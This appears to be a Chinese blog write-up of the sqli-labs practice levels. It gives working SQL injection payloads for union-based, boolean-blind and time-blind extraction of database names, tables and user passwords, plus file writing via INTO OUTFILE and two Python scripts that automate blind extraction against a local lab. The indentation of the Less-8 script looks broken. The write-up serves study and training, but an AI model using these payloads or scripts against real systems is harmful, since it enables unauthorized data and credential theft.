sqlilabs解题方法

Lass1

查询id为1的用户名和密码

查询id为2的用户名和密码

没有回显,不含id=-1的行

判断字段数,字段数为3

查询数据库用户名,和数据库名

查询时id必须超出数据库以外,一般用-1

用户名:user()

数据库名:database()cha

mysql版本:version()

查询数据库中的所有表的名字:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+

查询数据库中所有表名语法:group_concat(table_name)

从information_schema.tables中查询

条件数据库名必须为security:table_schema = 'security'

查询users表中的字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

查询所有字段名:group_concat(column_name)

从information_schema.columns中查询

表名必须为users: table_name = 'users'

查询字段值:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

查询所有用户名和密码:group_concat(username,0x3a,password)

从users表中

Lass2

行数为3

查询数据库名

查询表名

查询列名

查询字段名

Lass-3

先闭合

列数为3

数据库名

表名

列名

字段值

Lass4

闭合

Lass5

Lass6

页面不显示数据只有对错页面显示,选择布尔盲注

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

?id=1'and length((select database()))>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7

substr(a,b,c)

a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。

ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

Lass7

闭合

列数为3

页面只显示对错无数据回显

读写文件

读文件前提:

1.存在注入点的web站点用户权限要足够高

2.secure_file_priv不为NULL(show global variables like "secure_file_priv";)(否则就没办法使用mysql中的函数进行读写)

读文件函数:

select load_file('路径');

写文件前提:

general_log = on

(查看general_log:show variables like'%general%';

修改general_log为on:set global general_log = on;)

写文件

select 字段名 from 表 into outfile "路径"

http://10.0.2.15/sqli/Less-7/?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "/root/桌面/sqlilabs_qiu/Mysql注入读写文件Less7/out.txt"--+

Lass8

页面只显示对错无数据回显,基于布尔值的盲注

#coding:utf-8

import requests

char = "abcdefghijklmnopqrstuvwxyz0123456789~*/\{}?!:@_-,"

namelen = 1024

name = ""

res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1")

truelen = len(res.content)

for i in range(1, namelen):

    flag = True

    for str in char:

#表名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),%s,1)=%%27%s%%27 --+"%(i,str))

#字段名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),%s,1)=%%27%s%%27 --+"%(i,str))

#字段值

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(username,0x3a,password) from users),%s,1)=%%27%s%%27 --+"%(i,str))

            if(len(res.content) == truelen):

     name += str

     print(str)

     flag = False

     break

    if(flag):break

print(name)

脚本比较慢

Lass9

无论对错,回显都一样。此时基于布尔盲注的方法已经不适用,故采用基于时间的盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时

间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

python脚本

import requests

import time

# 将url 替换成你的靶场关卡网址

# 修改两个对应的payload

# 目标网址(不带参数)

url = "http://127.0.0.1/sqli-labs-master/Less-9/"

# 猜解长度使用的payload

payload_len = """?id=1' and if(

(length(

        (database())

    ) ={n})

,sleep(5),3) -- a"""

# 枚举字符使用的payload

payload_str = """?id=1' and if(

(ascii(

substr(

(database())

,{n},1)

) ={r})

, sleep(5), 3) -- a"""

# 获取长度

def getLength(url, payload):

    length = 1  # 初始测试长度为1

    while True:

        start_time = time.time()

        response = requests.get(url= url+payload_len.format(n= length))

        # 页面响应时间 = 结束执行的时间 - 开始执行的时间

        use_time = time.time() - start_time

        # 响应时间>5秒时,表示猜解成功

        if use_time > 5:

            print('测试长度完成,长度为:', length,)

            return length;

        else:

            print('正在测试长度:',length)

            length += 1  # 测试长度递增

# 获取字符

def getStr(url, payload, length):

    str = ''  # 初始表名/库名为空

    # 第一层循环,截取每一个字符

    for l in range(1, length+1):

        # 第二层循环,枚举截取字符的每一种可能性

        for n in range(33, 126):

            start_time = time.time()

            response = requests.get(url= url+payload_str.format(n= l, r= n))

            # 页面响应时间 = 结束执行的时间 - 开始执行的时间

            use_time = time.time() - start_time

            # 页面中出现此内容则表示成功

            if use_time > 5:

                str+= chr(n)

                print('第', l, '个字符猜解成功:', str)

                break;

    return str;

# 开始猜解

length = getLength(url, payload_len)

getStr(url, payload_str, length)

Lass10和lass9一样,‘换成“

Lass11

#注释

Or 1=1判断是否有sql注入

Lass12

Lass13和lass12差不多,只需要将双引号换成单引号。

Lass14和lass11差不多,只需要将单引号换成双引号。

Lass15和第lass11一样,只是不产生报错信息。布尔盲注。有错误页面和正确页面进行参考。

Lass16和lass12一样,需要布尔盲注。

  • 11
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值